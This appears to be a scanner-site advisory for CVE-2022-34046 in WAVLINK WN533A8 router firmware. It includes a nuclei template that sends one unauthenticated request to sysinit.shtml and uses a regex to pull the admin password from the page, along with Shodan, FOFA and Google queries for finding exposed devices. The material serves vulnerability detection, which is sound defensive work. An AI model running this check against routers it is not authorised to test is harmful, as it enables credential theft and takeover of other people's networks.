WAVLINK WN533A8 - Improper Access Control

highseverity

7.5CVSS score

21.1%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

WAVLINK WN533A8 M33A8.V5030.190716 is susceptible to improper access control. An attacker can obtain usernames and passwords via view-source:http://IP_ADDRESS/sysinit.shtml?r=52300 and searching for [logincheck(user);] and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

An attacker can exploit this vulnerability to gain unauthorized access to the router's settings and potentially compromise the entire network.

Fix

Apply the latest firmware update provided by the vendor to fix the access control issue.

How to confirm it

Send: GET /sysinit.shtml?r=52300
Positive when: contains "var syspasswd=\"" and "<title>APP</title>" AND status 200

Run it with nuclei: nuclei -id CVE-2022-34046 -u <target>

The full check

id: CVE-2022-34046

info:
  name: WAVLINK WN533A8 - Improper Access Control
  author: For3stCo1d
  severity: high
  description: |
    WAVLINK WN533A8 M33A8.V5030.190716 is susceptible to improper access control. An attacker can obtain usernames and passwords via view-source:http://IP_ADDRESS/sysinit.shtml?r=52300 and searching for [logincheck(user);] and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to the router's settings and potentially compromise the entire network.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the access control issue.
  reference:
    - https://drive.google.com/file/d/18ECQEqZ296LDzZ0wErgqnNfen1jCn0mG/view?usp=sharing
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34046
    - http://packetstormsecurity.com/files/167890/Wavlink-WN533A8-Password-Disclosure.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34046
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-34046
    cwe-id: CWE-863
    epss-score: 0.21124
    epss-percentile: 0.976
    cpe: cpe:2.3:o:wavlink:wn533a8_firmware:m33a8.v5030.190716:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wn533a8_firmware
    shodan-query:
      - http.title:"Wi-Fi APP Login"
      - http.html:"wavlink"
      - http.title:"wi-fi app login"
    fofa-query:
      - title="wi-fi app login"
      - body="wavlink"
    google-query: intitle:"wi-fi app login"
  tags: cve,cve2022,packetstorm,wavlink,router,exposure,vuln

http:
  - raw:
      - |
        GET /sysinit.shtml?r=52300 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'var syspasswd="'
          - '<title>APP</title>'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - 'syspasswd="(.+?)"'

References

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